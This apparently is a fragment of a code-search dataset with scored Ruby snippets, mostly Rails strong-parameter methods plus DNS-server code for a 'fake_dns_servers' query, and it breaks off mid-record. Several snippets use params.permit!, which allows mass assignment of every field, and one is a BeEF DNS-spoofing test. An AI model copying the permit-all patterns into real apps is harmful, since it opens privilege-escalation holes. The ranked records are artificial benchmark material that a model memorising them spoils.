{
"docid": "9292c51af27231dfd9f6478a027d419e",
"score": "0.61140966",
"text": "def domain_params\n params[:domain].permit!\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "a3aee889e493e2b235619affa62f39c3",
"score": "0.61107725",
"text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "677293afd31e8916c0aee52a787b75d8",
"score": "0.60860336",
"text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end",
"title": ""
},
{
"docid": "e50ea3adc222a8db489f0ed3d1dce35b",
"score": "0.60855556",
"text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end",
"title": ""
},
{
"docid": "b7ab5b72771a4a2eaa77904bb0356a48",
"score": "0.608446",
"text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end",
"title": ""
},
{
"docid": "b2841e384487f587427c4b35498c133f",
"score": "0.6076753",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "3f5347ed890eed5ea86b70281803d375",
"score": "0.60742563",
"text": "def user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "0c8779b5d7fc10083824e36bfab170de",
"score": "0.60677326",
"text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end",
"title": ""
},
{
"docid": "7646659415933bf751273d76b1d11b40",
"score": "0.60666215",
"text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end",
"title": ""
},
{
"docid": "fa0608a79e8d27c2a070862e616c8c58",
"score": "0.6065763",
"text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end",
"title": ""
},
{
"docid": "a3dc8b6db1e6584a8305a96ebb06ad21",
"score": "0.60655254",
"text": "def need_params\n end",
"title": ""
},
{
"docid": "4f8205e45790aaf4521cdc5f872c2752",
"score": "0.6064794",
"text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end",
"title": ""
},
{
"docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06",
"score": "0.6062697",
"text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.60620916",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "d6886c65f0ba5ebad9a2fe5976b70049",
"score": "0.60562736",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "96ddf2d48ead6ef7a904c961c284d036",
"score": "0.60491294",
"text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "75b7084f97e908d1548a1d23c68a6c4c",
"score": "0.6046521",
"text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end",
"title": ""
},
{
"docid": "080d2fb67f69228501429ad29d14eb29",
"score": "0.6041768",
"text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff",
"score": "0.60346854",
"text": "def parameters\n params.permit(permitted_params)\n end",
"title": ""
},
{
"docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8",
"score": "0.6030552",
"text": "def filter_params\n end",
"title": ""
},
{
"docid": "cf73c42e01765dd1c09630007357379c",
"score": "0.6024842",
"text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end",
"title": ""
},
{
"docid": "793abf19d555fb6aa75265abdbac23a3",
"score": "0.6021606",
"text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end",
"title": ""
},
{
"docid": "2e70947f467cb6b1fda5cddcd6dc6304",
"score": "0.6019679",
"text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend",
"title": ""
},
{
"docid": "2a11104d8397f6fb79f9a57f6d6151c7",
"score": "0.6017253",
"text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end",
"title": ""
},
{
"docid": "a83bc4d11697ba3c866a5eaae3be7e05",
"score": "0.60145336",
"text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end",
"title": ""
},
{
"docid": "2aa7b93e192af3519f13e9c65843a6ed",
"score": "0.60074294",
"text": "def user_params\n params[:user].permit!\n end",
"title": ""
},
{
"docid": "9c8cd7c9e353c522f2b88f2cf815ef4e",
"score": "0.6006753",
"text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "9736586d5c470252911ec58107dff461",
"score": "0.60048765",
"text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end",
"title": ""
},
{
"docid": "e7cad604922ed7fad31f22b52ecdbd13",
"score": "0.60009843",
"text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "f70301232281d001a4e52bd9ba4d20f5",
"score": "0.6000161",
"text": "def room_allowed_params\n end",
"title": ""
},
{
"docid": "2e6de53893e405d0fe83b9d18b696bd5",
"score": "0.599852",
"text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "a50ca4c82eaf086dcbcc9b485ebd4261",
"score": "0.59947807",
"text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end",
"title": ""
},
{
"docid": "0f53610616212c35950b45fbcf9f5ad4",
"score": "0.5993962",
"text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end",
"title": ""
},
{
"docid": "b545ec7bfd51dc43b982b451a715a538",
"score": "0.5992739",
"text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end",
"title": ""
},
{
"docid": "0b704016f3538045eb52c45442e7f704",
"score": "0.59911275",
"text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end",
"title": ""
},
{
"docid": "6af3741c8644ee63d155db59be10a774",
"score": "0.59906775",
"text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end",
"title": ""
}
] |
c596bb1b49af33e0a1e83be686be8a7c
|
GET /fake_dns_servers GET /fake_dns_servers.json
|
[
{
"docid": "9bf45d81288224435d5e14d5fdbd7aa9",
"score": "0.73480767",
"text": "def index\n @fake_dns_servers = FakeDnsServer.order('name')\n end",
"title": ""
}
] |
[
{
"docid": "a329a046458371eb2e9f1c9bbbdf2c53",
"score": "0.693134",
"text": "def dns_servers\n @dns_servers\n end",
"title": ""
},
{
"docid": "a329a046458371eb2e9f1c9bbbdf2c53",
"score": "0.69307613",
"text": "def dns_servers\n @dns_servers\n end",
"title": ""
},
{
"docid": "0ee82e689ed06d1671b9a7022d8352b7",
"score": "0.68066144",
"text": "def set_fake_dns_server\n @fake_dns_server = FakeDnsServer.find(params[:id])\n end",
"title": ""
},
{
"docid": "ed36b840e06bcb89bf1a76a0bd0faba4",
"score": "0.6659106",
"text": "def dns_servers=(value)\n @dns_servers = value\n end",
"title": ""
},
{
"docid": "5470e53212426fc808d7cf3d24680747",
"score": "0.6604966",
"text": "def servers\n response = get \"server\"\n data = JSON.parse response.body\n data[\"servers\"][\"server\"]\n end",
"title": ""
},
{
"docid": "4c081358af5ab19ddd297986233d3a15",
"score": "0.6507694",
"text": "def create\n @fake_dns_server = FakeDnsServer.new(fake_dns_server_params)\n\n respond_to do |format|\n if @fake_dns_server.save\n format.html { redirect_to @fake_dns_server, notice: 'Fake dns server was successfully created.' }\n format.json { render :show, status: :created, location: @fake_dns_server }\n else\n format.html { render :new }\n format.json { render json: @fake_dns_server.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b4f247a719b8426a36cd4115ac9dba37",
"score": "0.6482049",
"text": "def name_servers\n response = DNSimple::Client.get(\"/v1/domains/#{name}/name_servers\")\n case response.code\n when 200\n response.parsed_response\n else\n raise RequestError.new(\"Error getting nameservers for #{name}\", response)\n end\n end",
"title": ""
},
{
"docid": "8c5900c1338208acd230549320c4e4d4",
"score": "0.64642125",
"text": "def name_servers\n response = @client.rest_get(@data['uri'] + '/nameServers')\n response.body\n end",
"title": ""
},
{
"docid": "aed64b88747243fad256448b60bcc0d3",
"score": "0.6415349",
"text": "def nameservers\n [\n \"ns1.dreamhost.com\",\n \"ns2.dreamhost.com\",\n \"ns3.dreamhost.com\",\n ]\n end",
"title": ""
},
{
"docid": "2560c9132e25570bc4aa94ac96badf1d",
"score": "0.635904",
"text": "def nameservers\n @nameservers ||= ReDNS::Support.default_nameservers\n end",
"title": ""
},
{
"docid": "79a5b74a0239a54808317d5260976a62",
"score": "0.6291597",
"text": "def dns_servers=(list)\n @dns_servers = list\n end",
"title": ""
},
{
"docid": "85f02d63d78b715050a9c81c3b1991c5",
"score": "0.6215169",
"text": "def servers\n nr_api.get(url('servers')).body['servers']\n rescue NoMethodError\n []\n end",
"title": ""
},
{
"docid": "1042b8d29bfb761a54353ba7bee9ddc1",
"score": "0.62044495",
"text": "def index\n @title = \"All Servers\"\n @servers = Server.fields(\"fqdn\", \"lastseen\").sort(:fqdn).all\n respond_with(@servers)\n end",
"title": ""
},
{
"docid": "0219da1db8c49b9758fb86b8fe10b818",
"score": "0.6162235",
"text": "def servers\n local_server_address = cluster_manager.local_server_address\n servers={local_server_address => {:server_address => local_server_address}}\n cluster_manager.servers.each do |k,v|\n servers[k] = v.to_hash\n end\n content={:servers => servers}\n respond 200, content\n end",
"title": ""
},
{
"docid": "4d2e0bd8939c79becffac26f506e9ae8",
"score": "0.6097251",
"text": "def list_servers\n connection.get do |req|\n req.url \"agent/servers\"\n end\n end",
"title": ""
},
{
"docid": "8bc771298f19c23b5dec5e72109dc2c4",
"score": "0.6059222",
"text": "def what_should_my_dns_be?\n get_mongo_dns_endpoint(get_instance_id)\n end",
"title": ""
},
{
"docid": "b7ff0daaf3809161d691a124a93f4a42",
"score": "0.603547",
"text": "def lookup_addresses(data)\n return @servers\n end",
"title": ""
},
{
"docid": "d17ee67747f6e458c0d483c8ada133f9",
"score": "0.60031986",
"text": "def describe\n domain = args.shift.downcase rescue nil\n fail(\"Usage: heroku dns:describe DOMAIN\") unless domain\n result = JSON.parse(resource(\"/dns/#{domain}\").get)\n display result[\"zone\"][\"name\"]\n result[\"zone\"][\"records\"].each { |r| display sprintf(\" %-16s -> %s\",r[\"record\"][\"domain\"], r[\"record\"][\"app\"]) }\n display \"Nameservers:\"\n result[\"zone\"][\"servers\"].each { |s| display \" #{s}\" }\n end",
"title": ""
},
{
"docid": "c382f09e9f211d5bf3ac81eff73b25a1",
"score": "0.60029405",
"text": "def nameservers\n listed_nameservers self.domain_name\n end",
"title": ""
},
{
"docid": "261f064a62d585d0be8cad866fcae2ff",
"score": "0.59991366",
"text": "def get_servers\n puts \"Getting server list\"\n servers = @conn.list_servers\n\n for server in servers.body['servers']\n puts server\n end\n\n return servers.body['servers']\n end",
"title": ""
},
{
"docid": "822953fa39a6d409371b05a95ee0b101",
"score": "0.5998897",
"text": "def discovered_servers\n servers.select {|s| s[:discovered] }\n end",
"title": ""
},
{
"docid": "ccb6f484fa3de152599cfdd0f73b3aac",
"score": "0.5984109",
"text": "def nameservers(*args)\n filename = args.any? ? args.first.to_s : '/etc/resolv.conf'\n filename = '/etc/resolv.conf' if !File.file?(filename)\n\n result = []\n if File.file?(filename)\n File.readlines(filename).each{|line|\n if line[/nameserver/]\n result << line[/nameserver\\s+(.*)/, 1]\n end\n }\n end\n return result\n end",
"title": ""
},
{
"docid": "37312283e2500b6f7830efc08d4e004c",
"score": "0.5979608",
"text": "def get_instances\n logger.info \"getting instances for #{@hostname}\"\n compute_url=\"#{@compute_url}/servers/detail?all_tenants=true\"\n response_raw=RestClient::Request.execute(method: :get, :url => compute_url, headers: {\"X-Auth-Token\" => @token}, :verify_ssl => false)\n json_data = JSON.parse(response_raw.body)[\"servers\"]\n logger.info \"recieved #{json_data.count} instances from #{@hostname}\"\n json_data\n end",
"title": ""
},
{
"docid": "37dc9f27ca789f4333c0b7f3ef861487",
"score": "0.5948751",
"text": "def list_servers\n Util.cachier('list_servers') do\n Client.servers.sort_by { |hsh| hsh['last_reported_at'] }.collect do |server|\n {\n name: server['name'],\n last_reported_at: server['last_reported_at'],\n id: server['id'],\n reporting: server['reporting']\n }\n end\n end\n end",
"title": ""
},
{
"docid": "28efa379e7bdf5d983e9cf3457315cd0",
"score": "0.59048474",
"text": "def get_dns_nameservers(domain_name)\n\n\tdns_ns_list = []\n\tdns_query = Resolver(domain_name.to_s, Net::DNS::NS)\n\tdns_query.each_nameserver do |ns|\n\t\tns.chomp!('.')\n\t\tdns_ns_list.push(ns) \n\tend\n\n\treturn dns_ns_list\n\nend",
"title": ""
},
{
"docid": "25dfa7033185f8cdb99eede253c1dff5",
"score": "0.5903569",
"text": "def mock_dns_client?\n true\n end",
"title": ""
},
{
"docid": "509dc370a93056f166017ed9375760ae",
"score": "0.5902617",
"text": "def prereq_dns_server_available\n verbose \"checking that the first server in /etc/resolv.conf responds\"\n server = nil\n File.open('/etc/resolv.conf').each_line do |line|\n next unless line =~ /^\\s*nameserver\\s+(\\S+)/\n server = $1\n break\n end\n if server.nil?\n do_fail <<-\"FAIL\"\n Your /etc/resolv.conf does not define any nameservers.\n Not much is going to work without DNS resolution.\n FAIL\n abort_tests\n end\n # just looking for a nameserver response. at this point we\n # don't much care if resolution is correct; what we want\n # is to avoid running a bunch more tests when the nameserver\n # is obviously broken.\n command = \"host -W 1 do-not-expect-to-resolve. #{server}\"\n # IPSocket.getaddress goes through /etc/hosts;\n # \"host\" uses DNS which is what we want.\n output = `#{command} 2>&1`\n unless output =~ /NXDOMAIN/\n do_fail <<-\"FAIL\"\n #{server} doesn't appear to respond to DNS requests.\n This command:\n #{command}\n should have returned NXDOMAIN to the request.\n Instead, it returned:\n #{output}\n Please check the following to resolve this issue:\n * Does /etc/resolv.conf have your correct nameserver?\n * Is your nameserver running?\n * Is the firewall on your nameserver open (udp:53)?\n * Can you connect to your nameserver?\n Not much is going to work without DNS resolution.\n FAIL\n abort_tests\n end\n end",
"title": ""
},
{
"docid": "9169d5bb8ca2efc7681814498e1c0242",
"score": "0.5877986",
"text": "def index\n @servers = all_servers\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @servers }\n end\n end",
"title": ""
},
{
"docid": "84ebd276ed12954b40c03a6ac4afe1a7",
"score": "0.5869764",
"text": "def get_servers\n request_string = construct_request\n response = get_response request_string\n json = JSON.parse response.body\n servers = json.collect{|piece| piece[\"certname\"]}.uniq.sort\n if servers.empty?\n raise \"\\n****************************\\nTHERE IS NO SERVER TO DEPLOY TO, CHECK YOUR PUPPET SITE.PP\\n**************************\"\n end\n return servers\n end",
"title": ""
},
{
"docid": "0aaa7efb52db88abf3e5ce8298500b59",
"score": "0.58450764",
"text": "def list_known_servers\n connect.servers.each do |sr|\n logger.debug sr.inspect\n end\n end",
"title": ""
},
{
"docid": "4ee329e59c21f39ca16154ddc697a759",
"score": "0.58425707",
"text": "def test_1_dns_spoof\n url = 'http://beefproject.com'\n mount = '/beefproject'\n dns_spoof = true\n\n json = {:url => url, :mount => mount, :dns_spoof => dns_spoof}.to_json\n\n domain = url.gsub(%r{^https?://}, '')\n\n response = RestClient.post(\"#{RESTAPI_SENG}/clone_page?token=#{@@token}\",\n json,\n @@headers)\n\n check_response(response)\n\n # Send DNS request to server to verify that a new rule was added\n dns_address = @@config.get('beef.extension.dns.address')\n dns_port = @@config.get('beef.extension.dns.port')\n dig_output = IO.popen([\"dig\", \"@#{dns_address}\", \"-p\", \"#{dns_port}\", \"-t\",\n \"A\", \"+short\", \"#{domain}\"], 'r+').read.strip!\n\n foundmatch = false\n\n # Iterate local IPs (excluding loopbacks) to find a match to the 'dig'\n # output\n assert_block do\n Socket.ip_address_list.each { |i|\n if !(i.ipv4_loopback? || i.ipv6_loopback?)\n return true if i.ip_address.to_s.eql?(dig_output.to_s)\n end\n }\n end\n\n # assert(foundmatch)\n end",
"title": ""
},
{
"docid": "d56bbb766e711c789b1d8de406677db2",
"score": "0.584142",
"text": "def fake_dns_server_params\n params.require(:fake_dns_server).permit(:name, :target_server, :upstream, :hooking_hostnames, :record_type, :loglevel)\n end",
"title": ""
},
{
"docid": "cd4666dd56f3a064afd98edbedf33570",
"score": "0.5820936",
"text": "def get_dns(domain)\n xml = send_recv(:GetDNS, split_domain(domain))\n return false if xml.RRPCode != '200'\n\n nameservers = []\n xml.dns { nameservers << xml.strip }\n nameservers\n end",
"title": ""
},
{
"docid": "dea5d247074ba4eb0b2acc1a55086891",
"score": "0.5820344",
"text": "def list_known_servers\n connect.servers.all\n end",
"title": ""
},
{
"docid": "dea5d247074ba4eb0b2acc1a55086891",
"score": "0.5820344",
"text": "def list_known_servers\n connect.servers.all\n end",
"title": ""
},
{
"docid": "dea5d247074ba4eb0b2acc1a55086891",
"score": "0.5820344",
"text": "def list_known_servers\n connect.servers.all\n end",
"title": ""
},
{
"docid": "d8fd8a076fd25d6e6659f9b831cdf0c6",
"score": "0.58017784",
"text": "def get_nameserver(domain)\n run_command :get, :nameserver, {\n :name => 'all',\n :domain => domain,\n :key => 'attributes'\n }\n end",
"title": ""
},
{
"docid": "b12184c2aa65c9730977f6efe1032a46",
"score": "0.5783601",
"text": "def test_parse_resolv_conf\n actual = []\n expected = %w(1 2 3)\n\n FakeFS do\n FileUtils.mkdir(\"/etc\")\n File.open(\"/etc/resolv.conf\", 'w') do |file|\n file.write(\"nameserver 1\\n\")\n file.write(\"nameserver 2\\n\")\n file.write(\"nameserver\\t\\t3\\n\")\n file.write(\"# nameserver ignored\")\n end\n builder = Sle2Docker::Builder.new(@options)\n actual = builder.dns_entries()\n end\n\n assert_equal(expected, actual)\n end",
"title": ""
},
{
"docid": "7bce505f09838bcfdb16fc12c880ba87",
"score": "0.5780888",
"text": "def get_nameservers\n @account = Account.find(params[:id])\n begin\n @nameservers = @account.nameservers\n # If there are no nameservers/WHOIS details, this will be blank\n if @nameservers.blank?\n render :inline => \"<em>No nameservers listed, or no WHOIS data<br />available for #{@account.domain_name}</em>\"\n else\n render :inline => @nameservers.join(' ')\n end\n rescue \n # Render an error message\n render :inline => \"<em>#{$!}</em>\"\n end\n end",
"title": ""
},
{
"docid": "a922db46f590aa222347564f4f92513d",
"score": "0.57765913",
"text": "def destroy\n @fake_dns_server.destroy\n respond_to do |format|\n format.html { redirect_to fake_dns_servers_url, notice: 'Fake dns server was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b97fcc4b76fb34d4ddff3b1a42cd1c24",
"score": "0.5757685",
"text": "def dynamic_dns(query)\n params = {\n query: query,\n }.compact\n\n _get(\"/actions/dynamic-dns\", params) { |json| json }\n end",
"title": ""
},
{
"docid": "7339f8c3589194b49bc3d2f7ed942dea",
"score": "0.575706",
"text": "def fqdn_of server\n server[:fqdn]\n end",
"title": ""
},
{
"docid": "8161e051566168059f498df9084cbe93",
"score": "0.57547736",
"text": "def get_zones\n request(\n :expects => 200,\n :method => 'GET',\n :parser => Fog::Parsers::DNS::Bluebox::GetZones.new,\n :path => '/api/domains.xml'\n )\n end",
"title": ""
},
{
"docid": "7945aefe3760f099f52c86f24404a0b0",
"score": "0.575378",
"text": "def list_name_servers(domain)\n get_request('listRegisteredNameServers?'+get_url_parameters({'domain':domain})).body\n end",
"title": ""
},
{
"docid": "9093687c27f3a91df26a63a925169f22",
"score": "0.5699136",
"text": "def servers\n @servers ||= {}\n @servers\n end",
"title": ""
},
{
"docid": "f4ba1821092f3185b5ca1d224ad97c71",
"score": "0.56939393",
"text": "def dynamic_servers\n @dynamic_servers.inject([]) { |list, item| list.concat item }\n end",
"title": ""
},
{
"docid": "8be89c4441d2994c31f2e2b16d6a48ee",
"score": "0.56886035",
"text": "def verify_target_dns(target_dns)\n # Seems like this is the only place that we are using the ServerApi--can we remove this or make the server API its\n # own gem?\n server_api = OpenStudio::Analysis::ServerApi.new(hostname: target_dns)\n unless server_api.alive?\n $logger.error \"ERROR: Server at #{server_api.hostname} is not alive\"\n return 1\n end\n $logger.info \"Found target_dns #{target_dns} alive\"\n $logger.debug \"Returned target_dns status: #{server_api.machine_status}\"\n target_dns\nend",
"title": ""
},
{
"docid": "11078a4d623fedcab982088e07e15342",
"score": "0.5677583",
"text": "def update\n respond_to do |format|\n if @fake_dns_server.update(fake_dns_server_params)\n format.html { redirect_to @fake_dns_server, notice: 'Fake dns server was successfully updated.' }\n format.json { render :show, status: :ok, location: @fake_dns_server }\n else\n format.html { render :edit }\n format.json { render json: @fake_dns_server.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9bee2db3303cf15a3b948b01bdefab98",
"score": "0.5676852",
"text": "def index\n @servers = compute.servers\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @servers }\n end\n end",
"title": ""
},
{
"docid": "3ecd36c20424b829903890cce02a64f7",
"score": "0.5663563",
"text": "def dns_server_address\n super\n end",
"title": ""
},
{
"docid": "0ac4af817b7406859bc8b2a21224048d",
"score": "0.56446445",
"text": "def find_dhcp_servers\n dhcp_servers = node[:dns][:dhcp_servers] || []\n\n # Find dhcp servers and their ip adress\n unless node[:dns][:dhcp_servers].empty?\n dhcp_servers = Discovery.all('dhcp_server',\n node: node,\n empty_ok: true,\n environment_aware: true\n ).map { |n| n.ipaddress }\n end\n\n dhcp_servers\n end",
"title": ""
},
{
"docid": "8fa8f82d05a299bdbaaf83b3a4ba5403",
"score": "0.56320053",
"text": "def servers_with_fact(factname)\n servers = {}\n response = fact_request('facts', factname)\n response.each do |r|\n hostname = r['certname']\n factname = r['value']\n servers[hostname] = factname\n end\n\n servers\nend",
"title": ""
},
{
"docid": "8fa8f82d05a299bdbaaf83b3a4ba5403",
"score": "0.56320053",
"text": "def servers_with_fact(factname)\n servers = {}\n response = fact_request('facts', factname)\n response.each do |r|\n hostname = r['certname']\n factname = r['value']\n servers[hostname] = factname\n end\n\n servers\nend",
"title": ""
},
{
"docid": "c20d10860b9e6aa2c12707d4ab117074",
"score": "0.560605",
"text": "def list_hosted_zones(options = {})\n parameters = {}\n options.each do |option, value|\n case option\n when :marker\n parameters[option] = value\n when :max_items\n parameters[:maxitems] = value\n end\n end\n\n request({\n :query => parameters,\n :parser => Fog::Parsers::AWS::DNS::ListHostedZones.new,\n :expects => 200,\n :method => 'GET',\n :path => \"hostedzone\"\n })\n end",
"title": ""
},
{
"docid": "5a61fb0cbfaf1fb93dd2cb044f109b18",
"score": "0.5579839",
"text": "def index\n @dhcp_servers = DhcpServer.all\n end",
"title": ""
},
{
"docid": "a106e7c59a78baa016abe2e1cf196e0e",
"score": "0.5573883",
"text": "def get_dns_lookup_with_http_info(dns_lookup_options, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: MailServerControllerApi.get_dns_lookup ...'\n end\n # verify the required parameter 'dns_lookup_options' is set\n if @api_client.config.client_side_validation && dns_lookup_options.nil?\n fail ArgumentError, \"Missing the required parameter 'dns_lookup_options' when calling MailServerControllerApi.get_dns_lookup\"\n end\n # resource path\n local_var_path = '/mail-server/describe/dns-lookup'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(dns_lookup_options) \n\n # return_type\n return_type = opts[:return_type] || 'DNSLookupResults' \n\n # auth_names\n auth_names = opts[:auth_names] || ['API_KEY']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MailServerControllerApi#get_dns_lookup\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "d5ca40578fa66bdf6eb14d6874b44c0a",
"score": "0.5555871",
"text": "def test_get_servers_success_distributed\n\t\tfd = @dc['fault_domains']\n\t\trole = YAML.load(\"constraints: {'count': 3, 'limit': 1, 'unit': '8'}\")\n\t\tassert_equal(fd.size, 3, \"wrong fd size\")\n\t\tservers = get_servers(\"test\", role, fd)\n\n\t\tassert_not_nil(servers, \"Server allocation error\")\n\t\tassert_equal(servers.size, 3, \"Distribution error\")\n\tend",
"title": ""
},
{
"docid": "921ea3309578146569397a19e152c457",
"score": "0.55438566",
"text": "def client\n setup_resolver unless @dns_resolver\n @dns_resolver\n end",
"title": ""
},
{
"docid": "43237f330f7a78823ea8c13ff04589ce",
"score": "0.55412114",
"text": "def servers\n @servers ||= []\n end",
"title": ""
},
{
"docid": "339d00245ad3b49eb2122a407a326a39",
"score": "0.5539592",
"text": "def show\n @dns_domain = DnsDomain.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dns_domain }\n end\n end",
"title": ""
},
{
"docid": "09392c5a415b2ef6ec02b0584fc93116",
"score": "0.5533869",
